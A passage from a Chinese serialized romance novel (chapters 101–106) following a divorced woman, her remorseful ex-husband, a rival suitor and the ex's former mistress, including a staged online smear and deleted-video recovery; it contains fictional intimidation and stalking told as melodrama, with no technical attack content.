林安禾赞同:“男人为女人做事通常都有目的,尤其是这种老奸巨猾的商人。他现在无非想通过帮你报仇,拉近你们的关系。后期他搞不好要霸王硬上弓,到时候再拿钱砸你,砸不通他或许用**毁了你,或许堵上你的状告之路。老套路了。”
舒星若听得心惊肉跳:“那我离他远一点。”
林安禾提醒道:“光你离他远一点有什么用?你现在搭理他吗?姜老头不一样天天在你面前刷存在感。”
舒星若问:“那我该怎么办?”
第101章 给舒星若准备嫁妆
林安禾直白的说道:“你必须得找个能碾压他的靠山,让他彻底断了念想。苏容泽就是你最好的靠山。”
舒星若顿了顿说道:“这事让我好好想一想。”
苏容泽人那么好,她如果跟他在一起仅仅是为了找靠山,而且还给他制造问题,她宁愿独自面对姜学名。
林安禾却始终觉得,舒星若跟苏容泽在一起比较稳妥。
“想啥想,先谈恋爱呗,该睡则睡。你不会想一直为季狗守身如玉吧?”林安禾故意激她。
“他在我心里已经**,**嘛要为他守身如玉?”
林安禾说:“这就对了嘛,赶快跟苏容泽在一起。我听杨思淼说他还是处男,一个极品大帅哥遇上仙品小少妇,干柴烈火。”
林安禾已经脑补了一出爱情动作片。
舒星若看着她的表情有点无语,“赶紧睡觉,别瞎想了。”
林安禾又劝了一会,舒星若还是不为所动。
林安禾摇着头睡觉了。
周五下班之后,舒星若接了季知许回姜家老宅。
车子刚开出去没多久,就被姜学名的车截停了。
舒星若不下车不开车窗,她不知道这疯老头又要干什么。避免下车被他**了。
她打电话给他:“你再不走我就报警。”
姜学名眉头锁起:“星若,这几天你为什么一直躲着我?”
他连续两天来她公司找她,都被前台拒绝放行。
见不到人的姜学名直接来堵人。
舒星若冷冷的说道:“姜总,我们本就是陌路人,见面又能做什么?请你不要来打扰我。”
姜学名:“你看不见我对你的用心吗?”姜学名把何欣关起来又打了一顿,视频发给了舒星若。
舒星若被气笑了:“你用心我就要回应吗?况且我没有逼你为我做什么。”
姜学名威胁道:“那我就告诉何欣,是你让我报复她的。”
舒星若觉得自己跟何欣早已水火不容,多一条仇恨也无所谓。
直接挂了电话。
姜学名示意司机将车子开走,他已经下定了决心,必须要得到舒星若。
就算只是个替身,他也要她留在自己身边。
舒星若对刚才的事心有余悸,立刻联系岳灵,让她帮自己请几个靠谱的保镖。
到了季家老宅,季宴礼早早就到了,他和韦瑛等在了门外。
舒星若撇嘴冷笑,自言自语道:“真是太阳打西边出来了。”
季知许说:“爸爸这叫失去了才知道珍惜,妈妈,千万别轻易原谅他。”
舒星若笑了:“还是许许最了解我。”
季知许臭屁了起来:“那是自然。”
刚下车,季知许一如既往的冲进韦瑛怀里,表达着对她的思念。
季宴礼则想牵舒星若的手,被她拒绝了。
“季总,我们离婚了。”
季宴礼愣神,他始终无法接受舒星若已经彻底离开他的事实。
“星若,我知道错了,你就不能回头吗?”
舒星若心想:“费了那么大劲,跟你离了,我要是回头我就是傻子。”
“不能。”
季宴礼没想到她回答如此决绝,“苏容泽不过跟你是玩玩的,他不可能娶你。他身边有个惠萱彤。”
舒星若嘴角露出嘲讽:“那你知道惠萱彤仅仅是因为嘲讽了我几句,苏容泽就停掉了跟他们家的合作吗?”
“季宴礼,你从来没有这样护过我。何欣害**我们的孩子,你当没发生过。”
季宴礼胸口像**上一把刀,源源不断的流血,苏容泽竟然为了几句话就赔上商誉和巨额违约金。
而何欣,他做不到报复她,只能选择远离她。毕竟她救过自己的命。
“星若,我比他理智,你要知道,季氏是我救起来的。苏容泽他接手的是一个运行平稳的集团,我不可能像他那样不理智。”
舒星若神色平静,“知道了,你永远有自己的理由。我现在对你无爱也无恨,你就是我儿子的爸爸。至于复婚,一个火坑我不会跳两次。”
季宴礼祭出最后的杀器:“如果我说我要许许的抚养权呢?”
舒星若冷笑道:“那我们就对簿公堂,我有行止生物傍身,许许又是我
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一手带大的,你未必有必胜的把握。”
她手里握着季家安给的协议,不到最后一刻她不拿出来。
季宴礼沉声道:“原来你几个月前就计划离开我。”
舒星若说:“不然呢?你跟何欣都出收入对了,我留下来碍你的眼吗?我被她害得不能生育了,许许是我唯一的孩子。大把的女人想给你生孩子,你只要还有点良心,念在我救过你两次的份上,把儿子的抚养权给我。”
季宴礼对他们俩一个都不想放弃,“星若,我不会娶任何女人,我会一直等你。”
舒星若哼了一声,她并不相信。
季宴礼却觉得时间可以证明一切,他对她的心日月可昭。
“许许的抚养权可以给你,但我可以随时探视。”
“没问题!”
老宅一切照旧,佣人们还是叫舒星若太太,是季宴礼提前吩咐的。
韦瑛本本来想收舒星若当干女儿,被季宴礼阻止了。
“你要是收了她当干女儿将来我们怎么复婚?”
韦瑛叹气:“你太不了解星若了,她已经对你彻底死心了,你们不可能复婚的。而且她身边已经有了别的男人了。”
季宴礼却无比自信:“苏容泽不可能娶她的,舒星若只会是我的妻子。”
韦瑛忍无可忍儿子的迷之自信,骂道:“你早干嘛去了?现在一心一意求复合,我都告诉你何欣不是什么好东西,非要为了她把星若气走。”
季宴礼蹙眉:“妈,我离婚你不安慰我,还骂我。你是我亲妈吗?”
韦瑛恨不得抽他,“我要不是你亲妈我都不要你了,脑子跟进水似的,为了一个绿茶弄得妻离子散,还有我那未出生的小孙女,都是你干的蠢事。”
“行了,妈,我一定会和星若复婚的。”
韦瑛对他的保证连标点符号都不信。
四人走进正厅,刚坐下,季家安走了出来。他手上拿着已经过户好的房产证,递给舒星若。
“星若,蓝湾的别墅给你,就当是你将来的嫁妆。”
季宴礼被他父亲的话气得差点当场去世。
第102章 把我送给何欣的东西全要回来
季宴礼急切的喊道:“爸,你胡说什么呢?星若不可能嫁人的。”
季家安懒得跟这傻儿子争辩,舒星若才28岁,没理由不再婚的。他和韦瑛都希望舒星若幸福。
温和的说道:“那就当我送给星若的礼物。”
将房产证塞进舒星若的手里,舒星若感激的说道:“谢谢爸。”
季知许见爷爷给妈妈送礼物,大声欢呼:“爷爷,你是这个世界上最好的爷爷了。我爱死你了。”
季家安笑着说:“你这小嘴比抹了蜜还甜。”
季知许说:“我说的可是大实话哦。”
舒星若都怀疑他是不是魂穿小孩,成天什么都懂。
季家安被他哄得心情大好,抱着他聊天。
季知许将他最近看到的科技前沿知识全部讲给季家安听。
他虽然小,但是逻辑清晰,用词幽默,将季家安逗得开怀大笑。
韦瑛边看边笑:“许许这个小机灵鬼,是个科研的好苗子。”
季宴礼却略带惆怅:“得培养他的经商天赋,不然咱家将来后继无人。”
舒星若说:“随缘吧,他有自己喜欢的路要走。”
她心想:“到时候你自己生了两个,自然抛下对许许的执念。”
吃完晚饭,舒星若陪老爷子下围棋,她技术不佳,**得片甲不留。
季家安笑着说:“星若,你这棋艺要多加练习。”
舒星若惭愧道:“是的,爸,最近没怎么回来看您,都少了高手磨炼我了。”
季家安说:“不忙就回来看我们,只要许许在家,家里就热热闹闹的。”
“一定。”
季宴礼纳闷,他记得上大学的时候舒星若是围棋社数一数二的高手。
自己要赢下她都颇为费劲。
怎么到了他爸手底下这么菜?
他说:“爸,我跟您下两盘。”
下了一盘之后他就明白舒星若的高明之处,装菜要装得不着痕迹。
哄得季家安以为自己是绝世高手,舒星若也太有心机了。
他心下一惊,自己怎么下意识的觉得她心机重?
这个臭毛病要改掉,舒星若这是聪明机敏,怪不得季知许像个小人精。
儿子随母,要是他们的另一个孩子还活着,可能是个小姑娘,那就随自己了。
那他们就是完美的一家四口。
一想到这,他就拳头硬了,都是该死的何欣。当然,自己也有错,不该引狼**。
晚上休息之前,他找到舒星若,真诚的说:“星若,我该怎么弥补你失去孩子的伤痛?”
舒星若难以置信的上下打量了他一番,“怎么突然良心发现?”
季宴礼说:“我以前对你的偏见太深了,总认为你心机重。其实你只是聪明,哄得我父母很开心,而他们也心悦于你的人品。”
他以前认为自己的父母偏听偏信,非要对舒星若这个心机女好。现在才发现自己是那个愚蠢的人。
他的眼神变得深情起来:“星若,我想弥补你。”
舒星若当然不会放过这个机会,“那你就去弄死害死我们孩子的人。”
季宴礼迟疑,舒星若讥笑:“怎么,舍不得?”
“季总,人最好不要自欺欺人。”
季宴礼总是念着何欣救过他的旧情,不忍对她下狠手。
“可以从其他方面弥补你吗?我给你季氏集团的一部分股份。”
舒星若微微一笑:“没问题。”有钱不拿大**,反正她不花,别的女人也会花。
“下周一我就让人安排。”
“谢谢!”礼貌又生疏的回答。
季宴礼蹙眉:“你什么时候能像和苏容泽说话那样对我说话?”
舒星若疑惑:“有区别吗?”
季宴礼说:“区别大着了,你跟他说话自然有一股亲近感,对我冷漠得像外人。”
舒星若惊异,自己竟然不知不觉的对苏容泽不一样了,不会爱上了他了吧?
一想到这点她就有些坐立不安,苏家简直就是龙潭虎穴。
季家父母性格好,又包容自己,她不可能每次都有好运气。
也有可能是自己之前太恨季宴礼了,不自觉的流露出对他的厌恶。
“知道了,我会一视同仁的。”
季宴礼无奈的摇摇头:“这
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句话又很冷漠。”
“别急,慢慢来。”
知道两人已离婚,韦瑛早早就让人给舒星若单独准备了一间房间,房间的布置都是按照舒星若的喜好来的。
就是让她有回家的感觉。
舒星若心下感动,韦瑛简直就是世上最好的婆婆,如果不是季宴礼心系何欣,自己也不一定会坚持离婚。
季宴礼后悔自己之前每次陪她回来,都让她睡套间外面的小房间,拒绝与她同床共枕。
现在想抱着她睡觉都难。
他打给言永飞,“把我送给何欣的所有的东西都要回来。”
言永飞心想老板这又是抽的哪门子的风。
“季总,物品简单,我可以全部派人取回,何欣也没那个胆不给。但是您送的那套房子和车子已经过户了,不好要了。”
季宴礼声音变得冷峻起来:“想办法逼何欣交出来,不交也得交,要回来全部过户给太太。”
言永飞头大,当初自己劝过他送物品就行了。谁知道这个恋爱脑非要送房子和车子,惹得舒星若醋意大发。
现在后悔了,让自己去要,把这么个费劲的活交给自己,真的让人恼火。
言永飞绞尽脑汁的想要怎么去要房子和车子,之前舒星若坑了何欣三千万,要她还回来谈何容易。
言永飞想了一个晚上终于想了一个计策,第二天一大早带着一群人气势汹汹的来到何家。
何欣在住院,何宏的脑袋上还贴着纱布。
见到言永飞,何宏以为季宴礼又跟何欣和好了。感觉犹如神仙下凡来拯救自己了。
“言助,你帮帮我们,欣欣被舒星若指使人打伤了,还在住院,我这又不能出门。让宴礼出面,弄死我那个不孝女。”
言永飞脸色冰冷:“何先生,季总命令我来收回他送给何小姐所有的东西。”
何宏直接懵了:“收回东西?这送出去的东西还能要走吗?”
“当然,季总说了,你女儿骗了他那么久,他不追究她就算是仁慈了。”
见到言永飞身后的那八个彪形大汉,何宏脚有点发软,大冬天的冷汗直冒。
第103章 何欣绝望了
但何宏也不是吃素的,他强撑着说道:“衣服包那些的你们可以拿走,房子跟车子已经写了欣欣的名字,你们抢不走。”
言永飞微微一笑,笑中带着彻骨的寒冷:“何先生你既然为难我的话,我也只好为难你。”
何宏眼前一阵头晕目眩:“你到底要干什么?”
几个大汉冲上来直接将何宏捆了起来,拆了天花板上的水晶灯,将他吊在上面。
何宏被吓得直接尿了裤子。
言永飞说:“何先生你要是不交出何小姐的证件,我们只好让你在上面待一天了。”
何宏毕竟是怕死的,颤声道:“你们放我下来,我给你们欣欣的证件。”
言永飞笑道:“早该这样了嘛,又何必哥几个费力气。”
何宏颤巍巍的从保险柜拿出何欣的身份证和户口本,递给言永飞。
其他几个人像抄家似的将季宴礼送给何欣的东西全部搜了出来,但是那套古董珠宝不见了。
言永飞质问道:“珠宝呢?”
“卖……卖了,为了填补那三千万的亏空。”
何家当初为了凑三千万,卖了港城的房子还借了**。后来季宴礼拉黑何欣,何宏偷偷将珠宝卖了还债。
那套珠宝只卖了六千万,还了债之后只剩三千五百万了。
钱存在银行里,言永飞怒道:“把钱交出来。”
何宏颤抖着说:“我马上通知银行经理转账,只是今天周末,不一定能到账。”
“周一必须到账,不然我的手段多得是。”
言永飞让手下人将何家的行李全部扔了出去,何宏惊恐地说:“我这出门要被别人打的,求你放过我。”
“你女儿当人小三的时候,你就该想到有这一天。”
言永飞让人锁了别墅的门,拍了几张照片给季宴礼。
【一切已办妥,珠宝被卖了,只剩三千五百万了。】
季宴礼也不忍何欣流落街头:【给她留两百万。】
足够她在海市生活了。
言永飞摇头,总裁还是这么心软,要他说,必须让何欣补足珠宝的钱。
管她怎么搞钱,反正一定要还。
何宏被赶出去之后打给何欣:“欣欣,全没了,季宴礼送给你的东西全被他要回去了。”
“什么?”何欣因为激动刚缝合的伤**开了,痛得她尖叫。
“只给我们留了两百万,欣欣,我们没房子没车子了,以后怎么办啊?”
何欣彻底绝望了,她恨透了季宴礼和舒星若。
“爸,我知道了。你先去住宾馆,住快捷酒店,季宴礼要是知道你住好酒店他还会找你麻烦。”
何宏骂骂咧咧的去住宾馆了。
挂了电话之后,何欣打给了一个叫李东的男人:“来海市帮我做一件事,事成之后给你一百万。”
季宴礼看着言永飞发来的照片,去找舒星若,把手机递给舒星若:“星若,我送何欣的东西已经全部要回了。”
舒星若看了一眼何宏狼狈的照片,笑了,他们也有今天。
季宴礼见她笑得很开心,“星若,我已经让他们不好过了,你该原谅我了吧。”
舒星若说:“好,我们以后是朋友。”
虽然是朋友,总比前夫的身份来得好。
下午舒星若正在喝茶,黄丽歌打来电话,声音里透着急切和慌乱,“舒总,出大事了。”
黄丽歌向来云淡风轻,突然这样火急火燎,舒星若也是心头一紧:“出什么事了?”
“前几天你看病的那个年轻孕妇耿兰兰,昨天晚上提前生了。羊水栓塞,被医生救回来了,但是子宫切了。”
舒星若纳闷:“我那天把脉的时候一切正常啊,她孩子应该还有几个月才能生。不过这不是好事吗?羊水栓塞都能救回来。”
黄丽歌说:“问题是她生了个女孩,子宫又被切了,那家**闹医院,要医院赔偿。还在网上网暴你,说你是个庸医,诊断不出来孩子出问题了。现在我们的直播间都**停播了。”
舒星若倒不急:“把我看诊的视频记录放上网。”
黄丽歌都快要哭了:“就是因为视频记录不知道怎么找不到了。”
舒星若瞬间明白了,对方来头不小,连他们的监控都可以删了。
“这是一场有预谋的医闹,我这就回公司处理。”
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>见舒星若匆忙要走,季宴礼问:“你公司出事了?”
“对。”
季宴礼说:“需要我帮忙吗?”
她本能的拒绝:“暂时不用。”
季宴礼拉住她:“星若,不要拒我于千里之外。以前是我不对,总想着让你围着我转。你有困难,我应该帮忙的。”
“行吧。”
季宴礼让舒星若坐他的车,她这样心绪不宁,开车容易出事。
上车之后,季宴礼问:“到底发生了什么?”
舒星若说:“有个病人家属网暴我,我给她看诊的视频不知道怎么被删除了。”
季宴礼说:“要么是黑客,要么是买通了你公司的人。我这就通知季氏的IT部过来帮忙。”
“好的,谢谢!”
季宴礼伸手想抱她,被她躲开了。
“星若,我可以护着你的。”
舒星若正色道:“请你不要对我动手动脚,我们已经离婚了。”
“知道了,不用一直提醒我。”
舒星若到公司的时候,苏容泽也已经到了。
舒星若心里涌过一阵暖流,每次自己出事,他都是第一时间赶到。
季宴礼看到苏容泽,一脸的不爽。
怎么哪哪都有他?
苏容泽瞟了一眼季宴礼,离完婚他倒学会了关心前妻。
对舒星若说道:“网暴你的言论我已经叫人在删了,你给她问诊的视频记录有没有?”
舒星若摇头,“被人删了。”
季宴礼补充道:“我叫季氏的IT部总监过来帮忙了,他十分钟后到。”
苏容泽本来想叫他的人帮忙的,被季宴礼捷足先登了,表情有些失落。
苏容泽的失落,落在季宴礼眼里。他内心窃喜不已,这么久以来舒星若一直偏向他,这次自己先出手,她一定很感动。
十分钟后IT总监孔荣轩到了,孔荣轩见到苏容泽也在,觉得季宴礼怎么突然变得这么好脾气,跟情敌都能和平相处了。
他还记得舒星若官宣离婚那天,季宴礼把办公室给砸了。
全集团都知道太太离婚,把他气得半死。
这还没几天,他就接受情敌了?
第104章 两个男人争着表现自己
孔荣轩悄咪咪地打量着眼前这三个人,办公室里的气氛堪比三堂会审。
季宴礼跟苏容泽的脸色都不太好。
神仙打架,凡人遭殃。
他缩了缩脖子,只想吃瓜,又不敢明目张胆地吃,生怕被炮火波及。
舒星若没理会两个男人之间无声的电光火石,带着孔荣轩来到监控室。
苏容泽和季宴礼一左一右,像两尊门神,紧随其后。
孔荣轩到底是技术大牛,一上手就明白了七七八八。
他仔细检查了一遍硬盘,神情严肃地说道:“不是物理删除,是黑客绕过了防火墙,直接入侵进来,精准删除了那一段视频。”
舒星若心头一沉,“能恢复吗?”
“可以是可以,”孔荣轩有些为难地挠了挠头,“我需要时间,至少要一天。”
话音刚落,苏容泽就不满了:“一天?你这个速度,星若在网上都要被喷成筛子了。我叫我的人来。”
他刚要掏手机,季宴礼就不乐意了,长臂一伸,按在了孔荣轩的肩膀上:“孔总监,现在,立刻,把你整个团队都从被窝里给我薅起来加班,务必三小时之内恢复数据!让那条看诊视频公布于众,恢复太太的名誉。”
“太太”两个字,他特地咬得极重,尾音还带着一丝若有若无的炫耀,眼神瞟向苏容泽。
苏容泽的脸瞬间黑了。
舒星若蹙眉,冷声纠正:“我不是你太太,只是前妻。”
季宴礼权当没听见,只用眼神催促孔荣轩。
孔荣轩哪敢耽搁,立刻打电话摇人。
没多久,季氏集团IT部的一群技术宅男们,顶着鸡窝头,穿着拖鞋,怨声载道地被“请”了过来。
舒星若有些过意不去,连忙让黄丽歌去安排了豪华晚餐和奶茶,还贴心地给每个人准备了一个五百块的红包。
技术宅们本来还一脸“我是谁我在哪儿为什么要半夜加班”的生无可恋,一看到美食和红包,眼睛瞬间就亮了。
“谢谢老板!”
“老板大气!”
不知是谁带的头,大家忽然跟约好了似的,齐刷刷地对着舒星若鞠了一躬,中气十足地喊道:“谢谢太太!”
苏容泽的脸色顿时从黑变成了锅底灰,周身气压低得吓人。
季宴礼却心花怒放,得意地扬了扬下巴,觉得他的这群员工,从来没有像今天这么机灵醒目过。
舒星若无奈地瞪了季宴礼一眼,伸手悄悄拉了拉苏容泽的衣袖,用眼神示意他不要跟这个幼稚鬼生气。
苏容泽感受到袖口传来的轻柔力道,心头的火气莫名被顺下去几分,但脸色依旧不好看。
IT部那边紧锣密鼓地工作了起来,键盘敲击声不绝于耳。
另一边,苏容泽的人动作也极为迅速,网上那些谩骂的帖子,以肉眼可见的速度被删除、屏蔽,很快就清理得差不多了。
但行止的直播间因为被太多人实名举报,平台判定违规,直接封号七天。
办公室里,三个人坐着等消息,气氛有些凝滞。
苏容泽率先打破沉默,问舒星若:“那个孕妇资料,你有的都发给我。”
黄丽歌早就整理好了,她将打印出来的“耿兰兰”的身份证照片递给苏容泽。
苏容泽拍照发给他的团队,没过几分钟,对方就回复了。
他看着手机,眉头紧锁:“身份证是假的。”
“很好,”苏容泽的眼神冷了下来,“看来幕后主使准备得很充分。去她生产的金山医院查,从医院系统入手。”
“收到,苏总。”
舒星若见苏容泽面色凝重,知道这事恐怕很难查。
她手指无意识地敲着桌面,脑子里飞速盘算着。
除了姜学名那个疯子,还有哪个大人物会闲着没事,花这么大工夫来陷害自己?
苏容泽显然也想到了,沉声说:“姜学名的确有这个能量。”
舒星若一听,火气“蹭”地就上来了,直接摸出手机拨通了姜学名的电话,还按了扩音。
电话一通,她劈头盖脸就骂:“姓姜的,你又在搞什么鬼?”
电话那头的姜学名似乎一点也不意外,甚至还轻笑了一声,他早就看到了网上的谩骂了,估摸着舒星若这通电话早晚要来。
“星若,火气别这么大。这件事真不是我干的,”他的声音不紧不慢,“不过,你要是求求我,我倒是可以帮你平息此事。”
“不是你?”舒星若眉头一皱,下意识地看向季宴礼,“难道是何欣?”
季宴礼一脸震惊,连忙摆手,小声说道:“我今天上午才刚去找了她的麻烦,她就算要报复,也不可能这么快就设下这么大一个局,这些人明显是有预谋的。”
电话那头的姜学名又笑了:“这我就不知道了。不过她恨你是肯定的,毕竟,我告诉她,上次我找人揍她是你指使我干的。”
“神经病!”舒星若气得翻了个白眼,直接挂了电话。
季宴礼立刻分辩道:“这事绝对不是何欣,时间对不上。”
舒星若烦躁地揉了揉眉心:“何欣跟我结仇也不是一天两天了,不是她,就是她那个爹,何宏。”
“也有可能是他那个青梅竹马惠萱彤干的。”季宴礼用下巴指了指苏容泽,唯恐天下不乱地拱火。
苏容泽一个眼刀狠狠地甩了过去,声音冷得像冰:“她只是我家以前的邻居。”
季宴礼嗤笑一声:“邻居?邻居看星若的眼神那么嫉妒?谁不知道她喜欢你啊。”
就在两人快要擦出火药味时,苏容泽的手机响了起来,打破了僵局。
他接起电话,听了几句,神色变得异常严肃。
挂了电话,他对舒星若说:“金山医院的病历和那个女生的信息都调出来了。”
他顿了顿,语气沉重:“那女生不叫耿兰兰,她叫王春花,今年才十七岁,未成年。跟男方没有领证,只是在老家办了酒席。”
舒星若说:“未成年?难怪我看她好小。”
苏容泽继续说道:“几天前,突然有个人联系上王春花的婆婆康菊,说海市有位神医,一号脉就能号出胎儿男女。他们家一心想要个孙子,就信了。那人安排好了一切,包括王春花的假身份证,他们住的旅馆,还有星若你的号。”
舒星若眉头紧皱,在脑海里搜寻到底是谁能有这样的手段。
第105章 同样的害人手法
苏容泽说:“他们来找你看了,哪知道你压根就不说孩子的性别。康菊把那人臭骂了一顿,浪费她的时间。他们本来已经打算回去了。结果昨天晚上,王春花突然肚子疼见了红,送到金山医院,诊断是急性羊水栓塞。”
“情况危急,王春花自己签了手术同意书。最后孩子是保住了,生了个女儿,但她大出血,子宫被切了。康菊一听生了孙女,媳妇以后还不能生了,当场就在医院翻了脸,大吵大闹。至于网上的事,他们根本就不知道,也是被人当枪使了。”
“我的人追查了联系康菊的那个电话,是虚拟号打的,查不到任何身份信息。请他们来海市的那个神秘人,他们也从没见过面。”
一桩桩一件件,线索到这里,几乎全断了。
舒星若静静地听完,她闭上眼,脑海里迅速将所有线索串联起来。
“何宏,”她轻声念出这个名字,再睁眼时,眸中已是一片清明和冷厉,“他懂药理。羊水栓塞虽然是急症,但某些药物可以作为诱因,大大增加发病几率。”
她看向苏容泽:“还能查到王春花昨天晚上住的旅馆和她吃过的东西吗?”
苏容泽立刻再次拨通电话,声音急促:“王春花昨晚住的旅馆退房了没有?”
电话那头很快传来回复:“退了,苏总。房间打扫得干干净净,我们的人去看过,专业得像是被洗过一遍,什么都没留下。”
果然如此。
何宏这个老狐狸,做事滴水不漏,把所有痕迹都清理得一干二净。
“砰!”
舒星若一拳狠狠锤在桌子上,桌面发出一声闷响。
她的手背瞬间红了一片,眼里的怒火几乎要喷薄而出。
她咒骂道:“狗东西!”
季宴礼愣住了,舒星若一向温柔,发起脾气来也像吃人。吓得他都有点不敢说话了。
这事归根结底是他惹出来的,他刚指责苏容泽多嚣张,现在就有多卑微。
舒星若沉思了片刻说道:“这件事绝对不是何宏一个人干的,他们应该是同伙作案。何宏的脑子想不了这么周全,而且用懂隐藏身份,跟上次联系文友兰一模一样。”
提起文友兰,王春花的假名字叫耿兰兰,舒星若总觉得这件事有何欣的参与。
可惜没有证据。
一想到证据全没了,舒星若烦躁得想掀桌子。见到她这样,季宴礼有些心疼。
他把言永飞叫来,问道:“你今天怎么对付何宏的?”
言永飞看了一眼苏容泽和舒星若,为难的说:“总裁,真的要在这说吗?”
季宴礼:“但说无妨。”
“很简单,跟他耍流氓。”言永飞将自己把何宏吊起来的事说了一遍,连何宏尿裤子的细节也没放过。
舒星若听完心情大好,果然跟这种人不能讲道理。
季宴礼挥挥手,吩咐言永飞:“依葫芦画瓢,继续对何宏逼供一次。”
言永飞按照季宴礼的吩咐出去了。
三个人在办公室里大眼瞪小眼,苏容泽跟舒星若聊几句,季宴礼就来气。在一旁吹胡子瞪眼。
过了一会,言永飞给季宴礼打电话:“季总,他躲起来了,我暂时找不到他。”
季宴礼的眉心都拧在一起了:“那就去找何欣要人,她肯定知道人在哪。”
言永飞已经找过何欣了,但何欣死鸭子嘴硬,始终都不肯说。
何欣似乎早有防范,医院周围布满了媒体。
言永飞投鼠忌器,不能上手段。
季宴礼心惊,自己的不忍心竟然成了刺向舒星若的利刃。
下次决不能对何欣收下留情了。
季宴礼说:“你先回去休息,何欣总有出院的时候,找人盯着她。她一定会去找何宏的。”
“收到,季总!”言永飞留了三个人在医院附近轮流盯着何欣。
IT部终于恢复了硬盘数据,舒星若给王春花看病的视频找到了。
舒星若立刻让电脑部上传到官号上,苏容泽的人旋即出手,将这条视频炒到最热。
那些骂舒星若的人纷纷汗颜。
【哎,被人当枪使了,我就说舒星若不像庸医。】
【那婆婆是真恶心,竟然来问性别,问不出就撒泼打滚,连一百块诊金都不愿意出,看来是惯犯了。】
【到底是哪个王八蛋带头网暴舒星若的,我都约不上号。约了还不知道珍惜。】
【行止官方说了,未成年孕妇也是被人利用了,目的是搞死他们。】
【善心总是被利用。】
【我们帮舒星若找出幕后黑手吧,丧良心的,天天利用我的善良。】
【楼上的,算我一个。】
……
经过这件事之后,行止的形象更加稳固。
行止提交证据给平台后,直播间将于明天解封。
这一晚上的纷纷扰扰让舒星若觉得特别疲倦,她坐季宴礼的车回季家老宅。
苏容泽见她上了季宴礼的车,心里非常不舒服。
他给舒星若发微信:【他不会对你动手动脚吧?】
舒星若秒回:【他不敢,我卸过他的胳膊。】
苏容泽忍不住笑出了声,司机心想,总裁这是遇到什么事了,笑得这么开心?
苏容泽给舒星若发了个牛逼的表情包。
季宴礼瞥见舒星若在和苏容泽聊天,大手覆上她的屏幕:“离开一小会就难舍难分?”
舒星若抬眸看他:“你要是不会好好说话,我也就跟你阴阳怪气了。”
季宴礼心里难受,直白的说道:“他对你那么关心,我怕他把你抢走。”
舒星若面无表情的说:“大哥,你是我前夫,无权干涉我跟谁交往。是你先在我们的婚姻里三心二意的,我给你自由。你也不能要求我为你终生守节。”
季宴礼直视她的眼睛:“星若,千错万错都是我的错。我不该怀疑你,我不该对何欣上心,让你伤心的从我们的婚姻中离开。失去你让我肝胆俱碎。我没有做什么过激的行为,是我还想跟你再续前缘。”
舒星若官宣离婚后,他不是没有想过去抢回她,将她关在家里。但如果他这么做的话,只会将她的心推远。
他人和心都要。
舒星若冷冷的说:“这世上人来人往,不是每件事都如你所愿。”
第106章 他们是不是要复婚?
季宴礼说:“来来往往的人与我又有什么干系?我所求的唯有你。”
舒星若不为所动,她已不是当年那个懵懂无知的少女了。
历经了六年的冷漠婚姻,一切都已是沧海桑田。
“我每晚都在听你唱的一生中最爱,我每晚都在后悔。”季宴礼的眼眶有些湿润:“我后悔没有早点看清楚自己的内心,我恨自己一直对你有偏见。”
舒星若冷冷的说:“如果不是安禾爆出了何欣做处女膜修复手术,恐怕你们早就睡在一起了。”
季宴礼最恨欺骗,如果何欣不多此一举,他可能真的陷落在她的温柔乡之中。
以何欣的手腕,怀孕必须安排上。季宴礼不可能舍得打掉自己的孩子,他们会牵绊一世。
季宴礼想起这事后背冷汗涔涔。
他真的太对不起舒星若了,他心里一阵痛苦,这一切都是何欣的错。等他处理了何欣,也许舒星若会原谅他。
“星若,即使你不愿意再跟我做夫妻,让我守护你。我知道姜学名觊觎你,我会去警告他的。”
季宴礼和姜学名两人半斤八两,舒星若都不想沾上。
“不用,我自己可以解决。”
季宴礼还想再说什么,舒星若已经合上了眼睛,缩在车窗边闭目养神。
感觉要和他划清界限。
季宴礼一阵心痛,给言永飞发了条信息:【明天赶走医院的媒体人,逼何欣说出何宏的下落。】
【收到,季总!】
虽然打工人烦老板的深夜信息,但是要多付何欣言永飞浑身起劲。
他了解舒星若对季宴礼的感情,何欣来破坏,他早就想出手了。
回到季家,舒星若疲倦的躺在床上。
姜学名的信息来了:【小丫头挺厉害的,一下子就解决了问题。听说你前夫亲自摇人帮忙的。他是不是想跟你复婚?】
舒星若回:【关你屁事,离我远点。】
姜学名被她怼,丝毫不生气。
【火气不小,你会来求我的。】
舒星若:【滚!】
这老头太烦人了。
姜学名得知季宴礼出手帮舒星若以后,心里更加渴望得到她。
苏容泽好对付,舒星若毕竟结婚生子过。那些老牌豪门破规矩一大堆,要嫁进苏家没那么容易。
可是季宴礼要是跟她复婚,那是易如反掌的事。他在婚礼上见过季家父母对舒星若的态度,真是当女儿养的。
季宴礼那小子长得好,他回头追舒星若肯定追得上。
姜学名觉得必须尽快逼舒星若就犯,只不过舒星若手上有证据,他也怕这丫头鱼死网破。
舒星若临睡前给苏容泽发信息:【今天谢谢你了,晚安!】
苏容泽以为她早就休息了,不敢打扰,见她的信息来了,心里掠过一阵甜蜜。
【不客气,我永远会在你身边,晚安!】
苏容泽的话像一支强心针注入她的内心,他一直在帮自己。
她现在是一家公司的老板,肩负社会责任。即使被人陷害,她也不能逃避。
而且每次她遇到问题苏容泽都在她身边,给了她不少信心。
舒星若睡前复盘了一下,目前对自己不利的人有何欣、何宏和姜学名,极有可能还有一个惠萱彤。
姜学名倒是不用怕,自己手里有证据,他敢逼自己,她就让他身败名裂。
何欣父女俩反正是死仇,互相往死里弄就行了。
倒是那个惠萱彤,舒星若是一点也不了解。
女人仇恨起来,那比洪水猛兽还可怕。
舒星若想着想着不知不觉睡着了,一觉醒来,窗外已经一层白了。
今年海市竟然在十二月下起了雪。
这场雪下得并不大,但是季知许特别开心。一大早就拉舒星若去花园里堆雪人。
舒星若知道他爱玩雪,问他:“要不元旦我多休两天,带你去滑雪?”
季知许听完当场欢呼:“耶!妈妈太好了。”
一旁的季宴礼像个可怜巴巴的小狗,眼睛里写满了期待,说道:“我也要去。”
舒星若一副别逼我在外面扇你的表情,但是还是给他留了脸面:“我约了安禾,你去不方便。”
季宴礼说:“怎么不方便?你们俩尽情玩,我带许许玩。”
季知许“真诚”的说:“我就想妈妈带我滑雪。爸爸,你那么忙,我们要去很多天,会耽误你的工作的。我会每天跟你视频的。”
季知许的大眼睛眨巴眨巴,里面盛满了无辜与可怜。
一旁的舒星若有点想笑,儿子又在套路季宴礼呢。
季宴礼不忍儿子受委屈,同意道:“那好,我不去了,你们到时候玩得开心点。”
季宴礼进去接电话,季知许说:“妈妈,不用谢,我知道你不乐意看见爸爸。”
舒星若由衷的感慨,这个小鬼太精了。一眼就能看出来自己的心思。
